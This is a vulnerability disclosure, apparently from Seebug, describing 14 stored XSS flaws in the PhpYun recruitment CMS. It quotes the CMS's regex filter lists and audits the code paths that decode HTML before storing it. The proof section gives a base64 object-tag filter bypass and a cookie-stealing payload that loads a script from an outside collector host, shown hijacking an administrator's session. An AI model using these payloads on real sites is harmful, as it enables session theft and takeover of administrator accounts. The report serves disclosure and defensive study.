Phpyun存储型xss14处可打后台cookie附带绕过和批量定位方法

2014-08-18T00:00:00
ID SSV:93972
Type seebug
Reporter Root
Modified 2014-08-18T00:00:00

Description

简要描述:

20140811。绕过过滤,批量找xss,可打cookie。

详细说明:

刚开始做审计,phpyun的代码之前没有看过,phith0n曾经发过一个打包的xss,说是客户端过滤没有进行服务端过滤,现在这个版本应该是服务端过滤吧。 phpyun的global.php里面引用了两个安全的php文件,分别是data/db.safety.php和include/webscan360/360safe/360webscan.php。 先来看看data/db.safety.php:

``` if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']) { foreach($_POST as $id=>$v){ safesql($id,$v,"POST",$config); $id = sfkeyword($id,$config); $v = sfkeyword($v,$config); $_POST[$id]=common_htmlspecialchars($v);// } } foreach($_GET as $id=>$v){

safesql($id,$v,"GET",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
if(!is_array($v))
$v=substr(strip_tags($v),0,80);
$_GET[$id]=common_htmlspecialchars($v);//

} foreach($_COOKIE as $id=>$v){

safesql($id,$v,"COOKIE",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$v=substr(strip_tags($v),0,52);
$_COOKIE[$id]=common_htmlspecialchars($v);//

} ```

safesql函数先过滤一下,然后common_htmlspecialchars进行html编码。

``` function safesql($StrFiltKey,$StrFiltValue,$type){

 $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

```

看看是不是有办法绕过,正则<.data=data:text\/html.>,就绕过他吧,加个data="...",就绕过了。 好,那我们用&lt;object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&gt;&lt;/object&gt;就绕过了safesql,下一步要搞定html编码了。

``` function common_htmlspecialchars($str){

$str = str_replace(
array('&lt;','&gt;','"',"'","--"),
array('&lt;','&gt;','&quot;',"&acute;","- -"),
$str);  //先将一些字符替换
return gpc2sql($str);//这里带入一个简单的过滤函数,主要过滤sql,就不看了

} ```

从上面可以看出,我们全局的gpc数据都被这样处理了,那么直接插入数据库,肯定就是编码过的。 关键来了,明确一下思路,搜索一下html_entity_decode函数,html解码之后insert或者update进数据库的基本上都能xss了。

<img src="https://images.seebug.org/upload/201408/18110000761034d763c716832f499b518fe4bee5.png" alt="QQ截图20140818105915.png" width="600" onerror="javascript:errimg(this);">

这里面后台的,就没有跟进去。 除去后台的和插件的有,我按操作数据库的功能计算次数了。 /friend/model/index.class.php 1处 /ask/model/index.class.php 3处 /member/model/com.class.php 7行 /member/model/index.class.php 2行 /model/ajax.class.php 1行 先看/friend/model/index.class.php ,发表朋友圈状态时1处:

function addstate_action() { include_once(CONFIG_PATH."db.data.php"); if($this-&gt;uid=='') { $this-&gt;obj-&gt;ACT_layer_msg("您还未登录或登录超时请重新登录!",4,"index.php"); } if($_POST['content']) { $content=$_POST['content']; $content = str_replace("&amp;","&",html_entity_decode($content,ENT_QUOTES,"GB2312"));//html解码 foreach($arr_data['imface'] as $k=&gt;$v) { if(strstr($content,"[".$k."]")) { $content=str_replace("[".$k."]","&lt;img src=\"".$this-&gt;config[sy_weburl].$arr_data['faceurl'].$v."\"&gt;",$content); } } $data['content']=$content;//放到$dara中 $data['uid']=$this-&gt;uid; $data['ctime']=time(); if($_FILES['msg_img']['name']) { $upload=$this-&gt;upload_pic("..https://images.seebug.org/upload/friend/"); $pictures=$upload-&gt;picture($_FILES['msg_img']); $data['msg_pic']=$pictures; } $cid = $this-&gt;obj-&gt;insert_into("friend_state",$data);//$data被插入数据库

/ask/model/index.class.php 中 追加问题和回答问题时各1处:

function answer_action() { $gourl= $this-&gt;aurl(array("url"=&gt;"c:content,id:".$_GET['id'])); if($_POST['content']) { $q_title=$this-&gt;obj-&gt;DB_select_once("question","`id`='".(int)$_GET['id']."'","`uid`,`title`,`content`"); if($q_title['uid']==$this-&gt;uid) { $content = str_replace("&amp;","&",html_entity_decode("&lt;br/&gt;追加内容:&lt;br/&gt;".$_POST['content'],ENT_QUOTES,"GB2312")); //解码 $content=$q_title['content'].$content; $id=$this-&gt;obj-&gt;update_once("question",array("content"=&gt;$content),array("id"=&gt;(int)$_GET['id'])); //更新入库 if($id) { $this-&gt;obj-&gt;ACT_layer_msg( "提问追加成功!",9,$gourl); }else{ $this-&gt;obj-&gt;ACT_layer_msg( "提问追加失败!",8,$gourl); } }else{ $data['qid']=(int)$_GET['id']; $data['content']=str_replace("&amp;","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $data['uid']=$this-&gt;uid; $data['comment']=0; $data['support']=0; $data['oppose']=0; $data['add_time']=time(); $id=$this-&gt;obj-&gt;insert_into("answer",$data);//入库 if($id) { $this-&gt;obj-&gt;DB_update_all("question","`answer_num`=`answer_num`+1","id='".(int)$_GET['id']."'"); $state_content = "回答了问答《&lt;a href=\"".$gourl."\" target=\"_blank\"&gt;".$q_title['title']."&lt;/a&gt;》。"; $this-&gt;addstate($state_content); $this-&gt;obj-&gt;ACT_layer_msg( "回答成功!", 9,$gourl); }else{ $this-&gt;obj-&gt;ACT_layer_msg( "回答失败!", 8); } } }else{ $this-&gt;obj-&gt;ACT_layer_msg( "内容不能为空!", 2); } }

提问时1处:

function save_action() { if($this-&gt;uid=='') { $this-&gt;obj-&gt;ACT_layer_msg( "请先登录!", 8); } if(trim($_POST['title'])=="") { $this-&gt;obj-&gt;ACT_layer_msg( "标题不能为空!", 8); } $data['title']=$_POST['title']; $data['cid']=(int)$_POST['cid']; $data['content']=str_replace("&amp;","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $data['uid']=$this-&gt;uid; $data['add_time']=time(); $n_ids=$this-&gt;obj-&gt;insert_into("question",$data); //入库 if($n_ids) { $nickname=$this-&gt;obj-&gt;DB_select_once("firend_info","`uid`='".$this-&gt;uid."'","`nickname`"); $gourl= $this-&gt;aurl(array("url"=&gt;"c:content,id:".$n_ids)); $sql['uid']=$this-&gt;uid; $sql['content']="发布了问答《&lt;a href=\"".$gourl."\" target=\"_blank\"&gt;".$_POST['title']."&lt;/a&gt;》。"; $sql['ctime']=time(); $this-&gt;obj-&gt;insert_into("friend_state",$sql); $gourl= $this-&gt;aurl(array("url"=&gt;"c:index")); $this-&gt;obj-&gt;ACT_layer_msg( "提问成功!",9,$gourl); }else{ $this-&gt;obj-&gt;ACT_layer_msg( "提问失败!", 8); } }

/member/model/com.class.php中 企业添加职位和更新职位各1处:

function jobadd_action(){ //215行 if($_POST['submitBtn']){ $id=intval($_POST['id']); $state= intval($_POST['state']); unset($_POST['submitBtn']); unset($_POST['id']); unset($_POST['state']); $_POST['uid']=$this-&gt;uid; $_POST['lastupdate']=time(); $_POST['state']=$this-&gt;config['com_job_status']; $_POST['description'] = str_replace(array("&amp;","background-color:#ffffff","background-color:#fff","white-space:nowrap;"),array("&",'background-color:','background-color:','white-space:'),html_entity_decode($_POST['description'],ENT_QUOTES,"GB2312"));解码 。。。。 if(!$id){ $this-&gt;get_com(1); $nid=$this-&gt;obj-&gt;insert_into("company_job",$_POST); //入库 $name="添加职位"; 。。。 }else{ if($state=="1" || $state=="2") { $this-&gt;get_com(2); } $rows=$this-&gt;obj-&gt;DB_select_once("company_job","`id`='".$id."' and `uid`='".$this-&gt;uid."'"); $nid=$this-&gt;obj-&gt;update_once("company_job",$_POST,$where); //更新入库 $name="更新职位"; }

/member/model/com.class.php 修改企业资料1处:

function info_action(){ 1619行 $_POST['cert'] = $row['cert']; $where['uid']=$this-&gt;uid; $_POST['content'] = str_replace(array("&amp;","background-color:#ffffff","background-color:#fff","white-space:nowrap;"),array("&",'background-color:','background-color:','white-space:'),html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $_POST['lastupdate']=mktime(); $nid=$this-&gt;obj-&gt;update_once("company",$_POST,$where);//入库

添加新闻和更改新闻各1处:

function news_action(){ 2015行 if($_POST['action']=="save") { $sql['title']=$_POST['title']; $body = str_replace("&amp;","&",html_entity_decode($_POST['body'],ENT_QUOTES,"GB2312"));//解码 $title=trim($sql['title']); if($title=="" || $body=="") { $this-&gt;obj-&gt;ACT_layer_msg("新闻标题内容不能为空!",2,$_SERVER['HTTP_REFERER']); } $sql['body']=$body; if(!$_POST['id']) { $sql['uid']=$this-&gt;uid; $sql['ctime']=mktime(); $oid=$this-&gt;obj-&gt;insert_into("company_news",$sql);//入库 }else{ $where['uid']=$this-&gt;uid; $where['id']=(int)$_POST['id']; $sql['status']='0'; $oid=$this-&gt;obj-&gt;update_once("company_news",$sql,$where);//更新入库 } }

添加产品和更改产品各1处:

function product_action(){ 2083行 if($_POST['submit']){ $sql['title']=$_POST['title']; $body = str_replace("&amp;","&",html_entity_decode($_POST['body'],ENT_QUOTES,"GB2312"));//解码 $sql['body']=$body;//赋值 if($_FILES['pic']['tmp_name']) { $upload=$this-&gt;upload_pic("..https://images.seebug.org/upload/product/",false,$this-&gt;config['com_uppic']); $pictures=$upload-&gt;picture($_FILES['pic']); $this-&gt;picmsg($pictures,$_SERVER['HTTP_REFERER']); $sql['pic']=str_replace("../","/",$pictures); } if(!$_POST['id']){ $sql['uid']=$this-&gt;uid; $sql['ctime']=mktime(); $oid=$this-&gt;obj-&gt;insert_into("company_product",$sql);//入库 }else{ $where['uid']=$this-&gt;uid; $where['id']=(int)$_POST['id']; $sql['status']=0; if($_FILES['pic']['tmp_name']){ $pictures=$upload-&gt;picture($_FILES['pic']); $this-&gt;picmsg($pictures,$_SERVER['HTTP_REFERER']); $sql['pic']=str_replace("../","/",$pictures); $row=$this-&gt;obj-&gt;DB_select_once("company_product","`id`='".(int)$_POST['id']."' and `uid`='".$this-&gt;uid."'","pic"); if(is_array($row)){ $this-&gt;obj-&gt;unlink_pic("..".$row['pic']); } } $oid=$this-&gt;obj-&gt;update_once("company_product",$sql,$where);//更新入库 } $oid?$this-&gt;obj-&gt;ACT_layer_msg("操作成功!",9,"index.php?c=product"):$this-&gt;obj-&gt;ACT_layer_msg("操作失败,请稍后再试!",8,"index.php?c=product"); } }

/member/model/index.class.php中 个人添加黏贴简历和更改黏贴简历各1处

function expectq_action(){ $this-&gt;get_user(); $num=$this-&gt;obj-&gt;DB_select_num("resume_expect","`uid`='".$this-&gt;uid."'"); if($_POST['submit']){ $eid=(int)$_POST['eid']; $data['doc']=str_replace("&amp;","&",html_entity_decode($_POST['doc'],ENT_QUOTES,"GB2312"));//解码 $_POST['lastupdate']=mktime(); unset($_POST['eid']); unset($_POST['submit']); unset($_POST['doc']); if(!$eid){ if($num&gt;=$this-&gt;config['user_number']) { $this-&gt;obj-&gt;ACT_layer_msg("你的简历数已经超过系统设置的简历数了",8,"index.php?c=resume"); } $_POST['doc']='1'; $_POST['uid']=(int)$this-&gt;uid; $nid=$this-&gt;obj-&gt;insert_into("resume_expect",$_POST); $data['eid']=(int)$nid; $data['uid']=(int)$this-&gt;uid; $nid2=$this-&gt;obj-&gt;insert_into("resume_doc",$data);//入库 if($nid2){ if($num==0){ $this-&gt;obj-&gt;update_once('resume',array('def_job'=&gt;$nid),array('uid'=&gt;$this-&gt;uid)); } $nid2=$this-&gt;obj-&gt;DB_update_all("member_statis","`resume_num`=`resume_num`+1","uid='".$this-&gt;uid."'"); } $nid2?$this-&gt;obj-&gt;ACT_layer_msg("添加成功!",9,"index.php?c=resume"):$this-&gt;obj-&gt;ACT_layer_msg("添加失败!",8,"index.php?c=resume"); }else{ $_POST['height_status']='0'; $this-&gt;obj-&gt;update_once("resume_expect",$_POST,array("id"=&gt;$eid)); $nid=$this-&gt;obj-&gt;update_once("resume_doc",$data,array("eid"=&gt;$eid));//更新入库 $nid?$this-&gt;obj-&gt;ACT_layer_msg("更新成功!",9,"index.php?c=resume"):$this-&gt;obj-&gt;ACT_layer_msg("更新失败!",8,"index.php?c=resume"); } }

/model/ajax.class.php中 使用ajax添加朋友圈1处:

function mystate_action() { include_once(CONFIG_PATH."db.data.php"); if($this-&gt;uid&gt;0) { if($_POST['content']) { $content = str_replace("&amp;","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $content = iconv("utf-8", "gbk",$content); foreach($arr_data['imface'] as $k=&gt;$v) { if(strstr($content,"[".$k."]")) { $content=str_replace("[".$k."]","&lt;img src=\"".$this-&gt;config['sy_weburl'].$arr_data['faceurl'].$v."\"&gt;",$content); } } $data['content']=$content; $data['uid']=$this-&gt;uid; $data['ctime']=time(); $cid = $this-&gt;obj-&gt;insert_into("friend_state",$data);//入库 $info = $this-&gt;obj-&gt;DB_select_once("friend_info","uid='".$this-&gt;uid."'"); if($info['pic']=="") { $info['pic'] = $this-&gt;config['sy_weburl']."/".$this-&gt;config['sy_friend_icon']; } $info['url'] = $this-&gt;furl(array("url"=&gt;"c:profile,id:".$this-&gt;uid)); $info['ctime']=date("Y-m-d H:i"); $info['cid'] = $cid; $info['content'] = $content; $info['nickname'] = iconv("gbk", "utf-8",$info['nickname']); echo urldecode(json_encode($info));die; } }else{ echo 1;die; } }

漏洞证明:

先来看看危害吧,拿朋友圈这个做个测试,因为朋友圈比较直接,管理员点朋友圈,直接可以可以插,招聘信息和新闻那些,管理员也一定会被x到,因为那些内容必须审核。这些xss几乎覆盖了所以地方,想x用户x企业x管理都可以,成功率很高,如果配合csrf getshell,效果更好。现在已经可以用来打cookie。 先测试弹窗吧。 &lt;object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgvenh4Lyk8L3NjcmlwdD4="&gt;&lt;/object&gt; 用comtest,是个用户,发了一条朋友圈:

<img src="https://images.seebug.org/upload/201408/18111545d295dd2acca8a3de078245ee86ae4da8.png" alt="QQ截图20140818111241.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201408/1812244735b1b8dd16a6b98df2e561e9718644f1.png" alt="QQ截图20140818110917.png" width="600" onerror="javascript:errimg(this);">

管理员在后台点到朋友圈的时候,直接弹窗:

<img src="https://images.seebug.org/upload/201408/18111639b42cd92bd39bf5275eaa1033ab23d46d.png" alt="QQ截图20140818111139.png" width="600" onerror="javascript:errimg(this);">

试试打cookie吧: &lt;object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hzcy5yZS81Nzg0Pjwvc2NyaXB0Pg=="&gt;&lt;/object&gt;

<img src="https://images.seebug.org/upload/201408/1811184459a921b72ac8c3f55c892d4a066cb095.png" alt="QQ截图20140818111004.png" width="600" onerror="javascript:errimg(this);">

看看cookie:

<img src="https://images.seebug.org/upload/201408/18112219e4618fb45044f05d1d767968bf806c8d.png" alt="QQ截图20140818112138.png" width="600" onerror="javascript:errimg(this);">

接下来试试各种弹窗吧。 查看职位:

<img src="https://images.seebug.org/upload/201408/1812043965b0990c3dc8a4db6f575680a1c1d939.png" alt="QQ截图20140818120339.png" width="600" onerror="javascript:errimg(this);">

看下提问和追加提问:

<img src="https://images.seebug.org/upload/201408/18120726c21b1bf4c99651cfab796c5efb923dbd.png" alt="QQ截图20140818120459.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201408/18120737520f068a12bb8b9eafa30c3968c91fca.png" alt="QQ截图20140818120614.png" width="600" onerror="javascript:errimg(this);">

企业的介绍、新闻和产品:

<img src="https://images.seebug.org/upload/201408/18121037dde6e0f7da9e321dbd16238ac5d6cf55.png" alt="QQ截图20140818120827.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201408/18121045b65650345e2c0974ddcf29896786bcef.png" alt="QQ截图20140818120958.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201408/18121158a515977cce3ec9d90c57c69e694decb6.png" alt="QQ截图20140818121111.png" width="600" onerror="javascript:errimg(this);">

黏贴简历,注意是黏贴简历和修改简历不一样: 提交地址http://localhost/member/index.php?c=expectq

<img src="https://images.seebug.org/upload/201408/1812162946cb2ba5fe85ade75b853d86a99e24a8.png" alt="QQ截图20140818121507.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201408/181216517d14f7a654d41d8e5174d2a09f807876.png" alt="QQ截图20140818121550.png" width="600" onerror="javascript:errimg(this);">

ajax那个和朋友圈提交效果一样,只是提交方法不一样:不测试了